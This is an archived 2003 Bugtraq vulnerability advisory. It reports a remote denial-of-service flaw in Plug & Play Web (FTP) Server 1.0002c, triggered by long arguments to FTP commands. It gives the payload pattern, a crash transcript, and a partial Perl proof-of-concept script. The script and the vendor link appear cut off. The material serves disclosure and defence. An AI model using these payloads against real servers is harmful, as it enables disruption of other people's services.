Home page logo

bugtraq logo Bugtraq mailing list archives

Denial Of Service in Plug & Play Web (FTP) Server
From: Bahaa Naamneh <b_naamneh () hotmail com>
Date: 17 Sep 2003 15:09:31 -0000

Denial Of Service in Plug & Play Web (FTP) Server

"The Plug and Play Web Server provides all of the tools you need to host your own website. The tools are bundled 
together in one comprehensive software package that it is incredibly easy to use and maintain."
- Vendors Description
   [ http://www.pandpsoftware.com ]

Vulnerable systems: Plug & Play Web Server version 1.0002c

A vulnerability has been identified in Plug & Play Web (FTP) server V1.0002c, which allows malicious users to remotely 
crash the server. By connecting to the server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD) followed 
by large amounts of data, the server crashes.

dir [Ax509]

ls [Ax509]

delete [Ax509]

mkdir [Ax509]

DELE [Ax509]

RMD [Ax509]

MKD [Ax509]

ftp> o
Connected to
220 Plug and Play Web Server V1.0
User ( anonymous
331 Password required for anonymous
230 User anonymous logged in
ftp> dir 
200 PORT command successful
Connection closed by remote host.
ftp> o
ftp: connect :Unknown error number

Vendor status:
The vendor has been informed, and they are fixing this bug.
The updated version, when released, can be downloaded from:


# ppftpdos.pl - Remote denial of service against Plug & Play FTP server

use Net::FTP;

$host = $ARGV[0];

$buffer = 

if("$ARGV[0]" eq "") {
        print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");
        print("b_naamneh () hotmail com - http://www.bsecurity.tk\n";);
        die("Usage : ./PPftpdos <host\/ip>\n");
} else {        

        print("Connecting to $host...\n");
        my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";

        $username = "anonymous";
        $password = "anonymous";

        $ftp->login($username, $password)
        or die "Could not log in.\n";




Discovered by/Credit:
Bahaa Naamneh
b_naamneh () hotmail com

  By Date           By Thread  

Current thread:
  • Denial Of Service in Plug & Play Web (FTP) Server Bahaa Naamneh (Sep 17)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]